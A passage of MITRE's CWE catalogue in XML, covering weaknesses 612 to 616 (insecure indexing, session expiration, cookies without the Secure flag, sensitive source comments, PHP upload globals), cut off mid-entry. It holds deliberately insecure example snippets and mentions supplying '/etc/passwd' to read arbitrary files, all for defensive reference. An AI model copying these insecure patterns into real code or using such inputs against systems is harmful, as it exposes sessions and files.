				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through XML External Entity File Disclosure</Previous_Entry_Name>
            <Previous_Entry_Name Date="2013-02-21">Information Exposure Through XML External Entity Reference</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-06-20">Improper Restriction of XML External Entity Reference ('XXE')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="612" Name="Improper Authorization of Index Containing Sensitive Information" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.</Description>
         <Extended_Description>Web sites and other document repositories may apply an indexing routine against a group of private documents to facilitate search.  If the index's results are available to parties who do not have access to the documents being indexed, then attackers could obtain portions of the documents by conducting targeted searches and reading the results.  The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1230" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>48</Entry_ID>
               <Entry_Name>Insecure Indexing</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-1050"/>
         </References>
         <Notes>
            <Note Type="Research Gap">This weakness is probably under-studied and under-reported.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Information Leak Through Insecure Indexing</Previous_Entry_Name>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Indexing of Private Data</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Indexing of Private Data</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="613" Name="Insufficient Session Expiration" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="287" View_ID="1000"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Set sessions/credentials expiration date.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>&lt;web-app&gt;<xhtml:div style="margin-left:1em;">
                        <xhtml:div>[...snipped...]<xhtml:br/>
                           <xhtml:br/>&lt;session-config&gt;<xhtml:div style="margin-left:1em;">&lt;session-timeout&gt;-1&lt;/session-timeout&gt;</xhtml:div>&lt;/session-config&gt;</xhtml:div>
                     </xhtml:div>&lt;/web-app&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>47</Entry_ID>
               <Entry_Name>Insufficient Session Expiration</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Other">The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>WASC</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="614" Name="Sensitive Cookie in HTTPS Session Without 'Secure' Attribute" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="319" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Always set the secure attribute when the cookie should sent via HTTPS only.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The snippet of code below, taken from a servlet doPost() method, sets an accountID cookie (sensitive) without calling setSecure(true).</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Cookie c = new Cookie(ACCOUNT_ID, acctID);<xhtml:br/>response.addCookie(c);</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0462</Reference>
               <Description>A product does not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the product.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0462</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3663</Reference>
               <Description>A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3663</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3662</Reference>
               <Description>A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3662</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0128</Reference>
               <Description>A product does not set the secure flag for a cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0128</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="102"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Unset Secure Attribute for Sensitive Cookies in HTTPS Session</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="615" Name="Inclusion of Sensitive Information in Source Code Comments" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.</Description>
         <Extended_Description>An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="540" View_ID="1000" Ordinal="Primary"/>
	    <Related_Weakness Nature="PeerOf" CWE_ID="546" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Distribution</Phase>
               <Description>Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following comment, embedded in a JSP, will be displayed in the resulting HTML output.</Intro_Text>
               <Example_Code Nature="Bad" Language="JSP">
                  <xhtml:div>&lt;!-- FIXME: calling this with more than 30 args kills the JDBC server --&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-6197</Reference>
               <Description>Version numbers and internal hostnames leaked in HTML comments.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6197</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4072</Reference>
               <Description>CMS places full pathname of server in HTML comment.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4072</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2431</Reference>
               <Description>blog software leaks real username in HTML comment.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2431</Link>
            </Observed_Example>
         </Observed_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Comments</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Comments</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="616" Name="Incomplete Identification of Uploaded File Variables (PHP)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.</Description>
         <Extended_Description>These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="473" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use PHP 4 or later.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>If you must support older PHP versions, write your own version of is_uploaded_file() and run it against $HTTP_POST_FILES['userfile']))</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>For later PHP versions, reference uploaded files using the $HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or move_uploaded_file() to ensure that you are dealing with an uploaded file.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.</Intro_Text>
               <Body_Text>In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):</Body_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$varname = name of the temporary file on local machine<xhtml:br/>$varname_size = size of file<xhtml:br/>$varname_name = original name of file provided by client<xhtml:br/>$varname_type = MIME type of the file</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$_FILES['userfile']['name'] - original filename from client<xhtml:br/>$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server</xhtml:div>
               </Example_Code>
               <Body_Text>** note: 'userfile' is the field name from the web form; this can vary.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1460</Reference>
